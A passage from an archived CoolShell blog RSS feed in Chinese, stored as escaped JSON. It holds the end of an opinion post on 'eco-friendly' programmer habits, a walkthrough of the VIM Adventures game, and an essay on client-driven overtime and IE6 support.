alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/04/iecountdown2012.jpg\" width=\"450\" height=\"296\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/04/iecountdown2012.jpg 450w, https://coolshell.cn/wp-content/uploads/2012/04/iecountdown2012-300x197.jpg 300w\" sizes=\"(max-width: 450px) 100vw, 450px\" /></a></div>\n<div></div>\n<ul>\n<li><strong>拒绝破解软件</strong>。为什么要拒绝这些东西，因为你恐怕不知道这个软件的危害，包括一些汉化版的开源软件。这些软件中都会带 一些木马，比如：你下个putty的中文版，结果里有木马，人家就把你网站的口令盗了。关于网游，你可能不知道，连接网游私服的电脑基本上全是肉鸡，而 且，有很多的站点骗你下载软件破解程序，其实你下载到了一个木马。等等。这些生活都非常地不健康。</li>\n</ul>\n<ul>\n<li><strong>拒绝抄袭和山寨</strong>。如果你鄙视那些赤祼祼地抄袭者，不使用他们的产品，有的人会说你就是想标榜自己的高尚，ZB，假高尚，大家会说你没有必要。其实并不是，你这样做，其实是为了“环保”，为了“保护一个健康的IT环境”，虽然你没有创新，但是你的行为却是在鼓励创新的环境，这样，如果当整个大环境都是在创新文化影响之下，才会更健康，技术人员也才会被尊重，而我们自己最终会受益。虽然只是抑制抄袭和山寨，但是我们间接地为社会做了贡献。（看看那N多的抄袭团队，加入他们实在是耗费这个社会的资源） （那个整天复制这个复制这个复制那个的公司，看看你自己做的那些产品线？乱糟糟的。<strong>你自己看看，你有个人空间，还有群空间，还有校友录，然后你还要做个facebook式的“朋友”，还要搞个微博，然后还要搞个微信，大哥啊，你把这些相似度很大的东西放在了N多的服务器上，你不觉得浪费吗？你真是山寨之王啊，自己都一直在复制自己的产品</strong>。还有人说你们的产品经理一流，真是脑残啊。对于你们的复制精神，我只能拜了！）</li>\n</ul>\n<ul>\n<li><strong>拒绝百度搜索</strong>。如果你学得百度还是可以的话，你不妨看看我的微博（<a href=\"http://weibo.com/1401880315/ybN502xZ9\" target=\"_blank\">这个</a>，<a href=\"http://weibo.com/1401880315/ye6wNFTUW\" target=\"_blank\">这个</a>（<a href=\"http://weibo.com/1401880315/ye6E0a4zN\" target=\"_blank\">抓图</a>），还有和<a href=\"http://weibo.com/1401880315/yfC4yzonW\" target=\"_blank\">这个</a>和 <a href=\"http://weibo.com/1401880315/zlS3IbbEH\" target=\"_blank\">这个</a>）（以前，<a href=\"http://www.techweb.com.cn/it/2012-01-31/1145906.shtml\" target=\"_blank\">百度搜索出来的很多的开源软件（PuTTY、WinSCP）的第一个链接全是带木马的</a>，百度就是一个网上的病毒 )，你会发现百度不单单是广告的问题，很多东西根本搜不出来，包括他自己的内容。<strong>用百度就是浪费时间，浪费计算资源</strong>。如果你告诉你身边的朋友不要用百度搜索，而是用Google，并能耐心地教会他们翻墙，这样，我们就可以让那些“穷则穷凶极恶，富则为富不仁”的企业少一些自以为是，最重要的是可以让他们少制造一些垃圾信息和垃圾产品，世界少一些垃圾，自然也就环保了。</li>\n</ul>\n<ul>\n<li><strong>拒绝过重的商业氛围</strong>。很多社区的商业氛围实在是太浓了，全都是广告。整个社区根本都不是为技术人员来做的，而为了那些软件产商，为了那些公司。他们只知道为那些大公司写软文，做广告，开大会。他们只想着挣钱。网页上全是花花绿绿的广告，打开他们的网页，就会多耗许多电，浏览他们网站上的文章，到他们的大会上听他们的软件广告分享，就会让自己的生命和时间浪费，自己消耗了体力不说，却还没得到什么营养，相当的不环保。</li>\n</ul>\n<ul>\n<li><strong>拒绝浮燥</strong>。比如：浮燥地创业者们，被风投们一轮一轮地压榨。为了让风投满意，牺牲自己的初衷，去找水军刷排名，去发垃圾邮件，去烧钱买吆喝，制造虚假的繁荣，等等。另外，少去追那些新的技术，少一些浮夸，不要开口闭口的就是海量数据，高性能，要当个架构师，经理，要拿多少多少的工资，与其这样，还不如多静下心来研究一下那些十来年的技术，思考一下自己身边的问题，一步一步走踏实，少摔几个跟头，这样，你也就能多一些能力，多一些自信，也就能多做一些事，多解决一些问题，你的职业生源走好了，也就很环保了。</li>\n</ul>\n<p>还有很多，我相信大家明白我想说什么。<strong></strong>其实，我想说的是，<strong>这不单单是一种“个人修养”，这也是一种对社会贡献的方式，更是一种“低碳环保”的生活方式</strong>。</p>\n<p><span style=\"color: #cc0000;\"><strong>让我们一起来做有修养的环保主义的程序员吧，少吃一些垃圾食品，多一些绿色的健康生活！</strong></span></p>\n<p><em><strong>—————— 更新 2012年4月27 ——————</strong></em></p>\n<p>我看到很多网友并不同意我的观点，并指责我的偏激和极端。挺好的，我知道，我说到了你们最敏感的地方，我很高兴。</p>\n<p><strong>你可以对现实妥协，你可以继续钟爱你的垃圾食品，你可以继续使用百度搜索，你可以继续生活在墙内，我虽然替你感到惋惜，但是我不会勉强你，因为我能理解你可以不环保，本来也是，这些事情，你能做到固然好，你做不到，也是你的选择。每个人的生活每个人自己去选择，想健康地生活，或是不健康地生活，都是你自己的权利</strong>。</p>\n<p>（全文完）</p>\n<div><strong><br />\n</strong></div>\n<div><strong><br />\n</strong></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7186.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>461</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>游戏：VIM大冒险</title>\n\t\t<link>https://coolshell.cn/articles/7166.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7166.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 26 Apr 2012 00:22:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[vi]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7166</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>不知道大家是否还记得“Vim简明攻略”呢？你是不是对Vim的那一大堆热键很头痛呢？现在好好，下面这个游戏是一个使用VIM热键玩的游戏。你可以在玩游戏的过程中熟悉...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7166.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>不知道大家是否还记得“<a title=\"简明 Vim 练级攻略\" href=\"https://coolshell.cn/articles/5426.html\" target=\"_blank\">Vim简明攻略</a>”呢？你是不是对Vim的那一大堆热键很头痛呢？现在好好，下面这个游戏是一个使用VIM热键玩的游戏。你可以在玩游戏的过程中熟悉Vim的热键。</p>\n<p><strong>你可以点击图片，或是图片下的网址打开这个游戏</strong></p>\n<p style=\"text-align: center;\"><strong><a href=\"http://vim-adventures.com/\" target=\"_blank\">http://vim-adventures.com/</a></strong></p>\n<p style=\"text-align: center;\"><a href=\"http://vim-adventures.com/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-7172 aligncenter\" title=\"VIM Adventures\" src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun.jpg\" alt=\"VIM大冒险\" width=\"600\" height=\"369\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun.jpg 600w, https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-300x185.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-439x270.jpg 439w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></a></p>\n<p style=\"text-align: left;\">我试玩了一下这个游戏，真的很不错，下面是一些我给的游戏攻略。</p>\n<p style=\"text-align: left;\"><span id=\"more-7166\"></span></p>\n<ul>\n<li>第一关，场景一，首先是使用vim的h, j, k, l四个键来控制方向。（如果你妄图使用光标键的话，系统会出现黄色警告的）你需要使用h, j, k, l 四个方向走到图的右边，找到一把钥匙。（注意：迷宫墙上有些斜面，你可以通过斜面），找到钥匙后，钥匙会出现在你的右上角的位置，示意着你的光标要向那个方向移动，当你到达一个门的时候，会自动开门，进入第二关。</li>\n</ul>\n<ul>\n<li>第二关，每一关的小人都会给你一些英文提示，教你怎么玩。关于第二关，你会看到你过不去，小会提示你，那些绿草地就向我们文件中的行，你在行上按上下键，光标会在这一列上移动，如果这一下面的一行没有这么长，光标会到行尾。这个vim的特性会告诉我们如何过这一关——移到最上面的行尾（因为是最长的可以越过最下面的障碍），然后按下光标键，到最后一行时你就会发现光标已经过了阻碍。如此通过第二场景，达到一个小人后，按下键，进入第二关。</li>\n</ul>\n<ul>\n<li>第三关，我们可以看到地图上有很多的字母，我们还可以看到有两个键，一个是w，一个是e，我们可以把光标移到w上吃到w后，我们就可以使用w键了——以单词为单位移动光标，这样，我们就可以吃到e了和第一把钥匙，我们按w和e我们就可以看到这两个按键都是以单词为单位移动光标的，一个是单词头，一个是单词尾（参看我以前给大家的<a title=\"给程序员的VIM速查卡\" href=\"https://coolshell.cn/articles/5479.html\" target=\"_blank\">vim按键速查卡</a>）。然后，我们在最后一行通过单词跳跃到最右边吃到b—— 回到该单词的头，可以得到第二把钥匙。然后往上走，使用b 和 e键拿到第三把钥匙。然后就可以打开三个门通关了。</li>\n</ul>\n<figure id=\"attachment_7174\" aria-describedby=\"caption-attachment-7174\" style=\"width: 431px\" class=\"wp-caption aligncenter\"><a href=\"http://vim-adventures.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-7174\" title=\"Vim Adventures 第三关\" src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun02.jpg\" alt=\"Vim Adventures 第三关\" width=\"431\" height=\"286\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun02.jpg 431w, https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun02-300x199.jpg 300w\" sizes=\"(max-width: 431px) 100vw, 431px\" /></a><figcaption id=\"caption-attachment-7174\" class=\"wp-caption-text\">Vim Adventures 第三关</figcaption></figure>\n<p style=\"text-align: left;\">然后，就需要你注册才能玩了。作者说，因为需要发的邮件太多了，所以现在系统发不出邮件了，请等待。所以，不知道作者是用来收集邮件的，还是没有开发完，不过，<strong>这个游戏的创意实在是太赞了</strong>。推荐给大家。</p>\n<p style=\"text-align: left;\"><strong>哪位会做游戏又熟Vim的朋友也能做一个？</strong></p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" alt=\"主流文本编辑器学习曲线\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_title\">主流文本编辑器学习曲线</a></li><li ><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"三个教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3083.html\" class=\"wp_rp_title\">三个教程</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/894.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg\" alt=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/894.html\" class=\"wp_rp_title\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a></li><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7166.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>142</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>这到底是谁之错？</title>\n\t\t<link>https://coolshell.cn/articles/7126.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7126.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[hfcc8685]]></dc:creator>\n\t\t<pubDate>Thu, 19 Apr 2012 02:11:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7126</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢 @风枫峰 投递本文】 故事一： 背景介绍：RT是一个外包公司，ZWZX是项目承接公司，YD是甲方。 RT公司每天下班的时候都会接到ZWZX负责人的电话，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7126.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7126.html\">这到底是谁之错？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>【感谢 @<a title=\"风枫峰\" href=\"http://weibo.com/hfcc?source=webim\" target=\"_blank\">风枫峰</a> 投递本文】</p>\n<p><strong>故事一：</strong><br />\n背景介绍：RT是一个外包公司，ZWZX是项目承接公司，YD是甲方。</p>\n<p>RT公司每天下班的时候都会接到ZWZX负责人的电话，询问一天的工作情况，然后布置任务要求晚上加班做完，RT公司的员工很无奈也很气愤因为每天都要加班，员工们就问项目经理：“为什么天天加班赶需求，今天才提一个需求，明天就要上线，还让不让人活了?” 项目经理无奈的说：“我有什么办法啊？这是人家ZWZX负责人说的啊，对方逼得紧。”</p>\n<p>多次以后项目经理也忍不住了，就问ZWZX的负责人怎么天天这样啊，ZWZX的负责人就说了:&#8221;明天就要向YD的负责人展示这个页面，我也没有办法啊？YD那边老总就是这么要求的，我怎么办，我也不想这样啊？&#8221;</p>\n<p>然后RT的项目经理实在受不了了就辞职了，新上任的项目经理又会走他的老路，因为从开始我们就被培养“满足客户的需求是最重要的”。RT的员工也就这样一直抱怨着，一直忍受着。天天在心里咒骂YD的老总真是没有人性，不拿人当人看啊！</p>\n<p>人换了一批又一批，加班也就慢慢的变成了应该的，你不加班说明你不敬业，不合格。</p>\n<p><strong>故事二：</strong><br />\nIE6一直存活着，所有的前端开发人员都痛恨它，都不想兼容它，可是产品经理看到IE6的市场占有率还是这么高，就会要求前端开发人员必须兼容IE6。</p>\n<p><span id=\"more-7126\"></span></p>\n<p>矛盾又来了，就像故事一一样，前端开发人员天天抱怨，产品经理也天天抱怨，但是面对IE6的市场份额，产品经理会劝开发人员说：“我有什么办法啊？IE6的市场份额就是这么高，不兼容怎么办啊？我也不想啊！” 开发人员也就这样忍受着，然后不断地抱怨用IE6的用户低端，没文化，怎么还用IE6啊！天天兼容IE6就够烦的了，还怎么创新啊！</p>\n<p><strong>这两个故事里出现的问题到底是谁的错误引起的？ </strong></p>\n<p>故事一的罪魁祸首是YD的老总吗？</p>\n<p>故事二的罪魁祸首是那些还用着IE6的用户吗？</p>\n<p>从这两个嫌疑最大的罪魁祸首眼中看一下这两个故事：</p>\n<p><strong>故事一：</strong><br />\n我是YD的老总，我要建立一个网站，找到了ZWZX公司，签订了合同，我提需求他们实现。</p>\n<p>我不懂制作网站，可是我才思敏捷，创意无限，不停的会有好点子从我的脑海里蹦出来，每当有一个好点子蹦出来后，我都会给ZWZX公司的负责人讲清楚我的想法，让他实现，开始我不知道做一个页面需要多长时间。第一次我试探性的说了一周必须把我这个点子做出来，ZWZX公司负责人很痛快的答应了，一周后我果然看到了这个功能。</p>\n<p>可是会不会我给他们的时间太长了？对！肯定是，要不也不会答应的这么痛快。这些人啊！天天就是想拖时间，好多骗我点钱。</p>\n<p>点子又来了，这次我要求5天做出来，这个点子和上个点子类似，我倒要看看5天能不能做出来~  ZWZX公司负责人一副痛苦的表情，我会不会逼的太紧了，5天是不是真的做不出来？到时候看看吧，如果5天没做出来估计是我给的时间太少了。</p>\n<p>5天过去了ZWZX公司的负责人很高兴的拿出了我要的功能实现，哎，看来开始真的骗了我两天。就是不知道5天会不会还是多了啊？下次给3天~</p>\n<p>又拿出来了，虽然他装的好像时间太紧似的，可别以为我不知道，你第一个功能最多3天就做出来了，我还给了你7天的项目经费，你们多赚了我多少啊！！！！ 真是没良心。 下次1天！！！</p>\n<p>啊啊啊啊啊啊啊啊!!! 1天就出来了，这些人。。。。。  有没有良心，原来做这个这么简单，以后就给1天，不 ！ 一天N个功能。</p>\n<p><strong>故事二：</strong><br />\n我买了个电脑，没什么别的用途，就是打开电脑上上网，上上QQ和儿子聊聊天，QQ是儿子给我装上的，这样我就可以和他视频了。有一次QQ提醒我说我的QQ版本太低了，不能视频了，我打电话问儿子，儿子说按提示升级一下QQ就行了，呵呵，我按QQ的提示，儿子的指示一步一步的升级QQ成功了，看来电脑也不难啊！</p>\n<p><strong>到这里您认为开始的两个故事的罪魁祸首是谁啊？</strong></p>\n<p>我们一直以加班，甚至通宵去满足客户不合理的要求，只因为他是客户。只因为人人都认为满足客户的要求是我们最大的<br />\n价值，可是不合理的要求不能去拒绝吗？套用刘欢说的一句话“我们是不是活的应该有些尊严”，一味的迎合客户，只会让我们自己越来越痛苦，反而得不到用户的尊重，肯定。</p>\n<p>我一直有个疑惑，很多人说网站不支持IE6，而选择让用户去升级IE，这样的用户体验不好！如果按照按照这个逻辑，是不是我们都应该是Web应用，而且都应该是IE6下的Web应用呢？为什么微软还要出WIN8，一直XP不是挺好的吗？让用户升级系统，用户体验多么不好啊？QQ，360，搜狗输入法，等等客户端软件用户体验不都不好吗？ 都还要用户下载。</p>\n<p>实在搞不懂为什么我们做个东西非要去支持IE6呢？检测到用户是IE6，给个提示，给个升级链接不就行了？ 这样做用户体验是有多么不好吗？ 你天天去支持IE6，还要天天磨叽用户使用IE6，你不觉的很矛盾吗？再说我一个普通用户，你如果不提醒，我怎么知道要升级IE6啊？</p>\n<p><strong>对于遭遇了故事一，故事二的人只能送上一句话“哀其不幸，怒其不争！”</strong></p>\n<p>原文链接：<a href=\"http://hfcc8685.github.com/blog/2012/04/19/shui-zhi-cuo/\" target=\"_blank\">http://hfcc8685.github.com/blog/2012/04/19/shui-zhi-cuo/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7126.html\">这到底是谁之错？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7126.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>113</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-13.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 13 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=13\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 31 Mar 2015 12:49:40 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>挑战无处不在</title>\n\t\t<link>https://coolshell.cn/articles/7048.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7048.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 17 Apr 2012 02:06:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid 